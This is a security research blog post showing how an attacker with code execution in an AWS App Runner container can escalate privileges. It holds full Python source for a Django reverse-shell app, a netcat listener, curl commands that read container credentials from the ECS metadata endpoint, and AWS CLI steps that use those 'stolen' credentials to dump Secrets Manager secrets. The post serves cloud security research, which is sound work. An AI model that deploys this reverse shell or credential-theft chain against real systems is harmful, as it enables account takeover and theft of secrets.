Getting shell and data access in AWS App Runner

Bhagavan Bollina
Appsecco
Published in
7 min readMay 29, 2023

--

Tales from a recent cloud security research of App Runner service in the AWS cloud backed by Container Service (ECS) and how an attacker can steal the secrets stored in the AWS Secrets Manager

Background

As a security researcher, I typically test all kinds of applications, infrastructure, cloud services, and API setups. In that process, I uncovered the potential risks associated with AWS App Runner, a popular cloud service that enables developers to easily deploy containerized applications. As I delved into my cloud security research, I stumbled upon a thought-provoking question: What if an attacker gains an initial foothold on a container service?

AWS App Runner

AWS App Runner is an AWS service that provides a fast, simple, and cost-effective way to deploy from source code or a container image directly to a scalable and secure web application in the AWS Cloud. App Runner connects directly to your code or image repository.

Potential Attack Surface

For any system that you are threat modelling, you would want to first identify all potential vantage point for attackers. Once I had a fair understanding of the service and its architecture, I understood that AWS App Runner is a well-architected design and took security into consideration for its various features.

So I focussed on What if an attacker gains an initial foothold on a container service and possesses remote code execution (RCE) capabilities?

Approach

My approach was to ensure coverage by performing various configuration reviews and identifying misconfigurations that could be exploited to gain additional privileged access or access to data across the isolation boundaries that the service designers had created.

To test this, I used a simple Django app, that when deployed would give me access to a reverse shell in the execution environment where the app is running.

from distutils.log import error
import sys, socket,os,pty
from django.conf import settings
from django.urls import include, re_path
from django.http import HttpResponse

settings.configure(
DEBUG=True,
ROOT_URLCONF=__name__
)

def index(request):
if ('ip' in request.GET):
ip = request.GET['ip']
e = connectshell(ip)
return HttpResponse("Exception:" + str(e))
else:
return HttpResponse('Hello World!')

def connectshell(ip):
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,4242))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
s.shutdown(socket.SHUT_RDWR)
s.close()
except Exception as e:
return str(e)

urlpatterns = (
re_path(r'^$', index),
)

if __name__ == "__main__":
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)

You can download the source for the reverse shell here: https://github.com/appsecco/django-rev-shell

With this shell access, I now had the ability to explore the environment. Here’s a list of checks that you can follow if you find yourself testing something similar.

  1. What is in the container environment? This can be obtained by env command and usually yields app secrets and metadata location of the ECS.
  2. What other IP addresses and ports are accessible? We installed nmap on the container using apt-get and ran a full scan on the IP subnets that we identified from environment variables and the local routing table.
  3. What privileges does the IAM role attached to the ECS have? These credentials can be generated using the Instance Metadata endpoint within the container. It is possible to reach by sending the curl request in the same network stack.
curl http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

3. Check the privileges of the stolen credentials and perform the actions.

Demo — Privilege Escalation by RCE in AWS App Runner

Recently AWS has integrated the App Runner service with the Secrets Manager and Systems Manager Parameter Store (Jan 06, 2023). So I saved a few secrets in AWS Secrets Manager and integrated them with the App Runner.

Deployed the vulnerable application inside the App Runner which has the RCE capabilities.

Application having RCE capabilities deployed in App Runner
Application having RCE capabilities deployed in App Runner

App Runner now allows you to reference secrets and configuration parameters stored in AWS Secrets Manager and AWS Systems Manager Parameter Store.

Applications running in App Runner will have the data available as environment variables.

AWS App Runner is integrated with Secrets Manager

I opened the public endpoint and supplied my attacker machine’s public IP address.

Requesting for a connection back on attacker machine

On my attacker machine, I started a netcat listener using nc -nlvp 4242

Received a reverse shell from the application in App Runner

Once the shell is received, I started exploring inside the shell. I used this command to see the environment variables env .

Output has metadata endpoints and some sensitive information

Exploring the environment

a. ECS uses an IMDS but it is accessible at `169.254.170.2`.

b. Retrieve the ECS_CONTAINER_METADATA_URI environment variable within your container. This environment variable contains the URL of the ECS metadata endpoint.

c. Make a GET request to the metadata endpoint using curl or any HTTP client library available in your container. For example:

curl -sS $ECS_CONTAINER_METADATA_URI

d. The response will provide details about the container, task, and cluster metadata. Look for information related to other containers or tasks within the cluster, including their IP addresses or DNS names.

I ran a command to see the “ECS_CONTAINER_METADATA_URI_V4”

curl http://169.254.170.2/v4/UUID
Metadata of a running container

I was looking for an endpoint that can leak the AWS temporary credentials, run the below command to see them

curl http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
Grab the credentials and save them to use

Now configure the above credentials in the ~/.aws/credentials since it has the session token too or you can set them as environment variables.

export AWS_ACCESS_KEY_ID=ACCESS_KEY_ID
export AWS_SECRET_ACCESS_KEY=SECRET_ACCESS_KEY
export AWS_SESSION_TOKEN=SESSION-TOKEN
aws sts get-caller-identity --profile apprunner_stolen_creds
Attached Role: revshell-get-access

Once I configured the credentials, I looked around what all access I have and interestingly I was able to describe the secrets in AWS Secrets Manager.

aws secretmanager describe-secret --secret-id AppRunner_admin --region us-east-1 --profile apprunner_stolen_creds
Copy the secret ID: AppRunner_admin

The provided output displays the ARN(Amazon Resource Name) and the name of the secret. Now, it’s time to proceed with listing the secrets and extracting the valuable information stored within them.

aws secretsmanager list-secrets --profile apprunner_stolen_creds --query 'SecretList[].Name' --output text

Use this command to print the secret name, Now use the secret name to extract the variables.

aws secretsmanager get-secret-value --secret-id AppRunner_admin --profile apprunner_stolen_creds
Exposed secrets

I extracted the credentials and added them to my AWS cli as a new profile

aws configure --profile stolen-creds
Configure the stolen credentials
aws sts get-caller-identity --profile stolen-creds

The user IAM-Admin turned out to be an over-privileged user with administrative access across the AWS account.

Conclusion

Container-based RCE attacks have far-reaching implications, from privilege escalation within the container environment to data exfiltration and infrastructure disruption. These risks underscore the importance of implementing robust security measures to protect sensitive data, maintain system integrity, and ensure the availability of critical services.

Until next time, happy hacking!!

References

--

--

Cloud Security Engineer | CARTP | eWPTXv2 | CRTP | AWS SAA | CCSK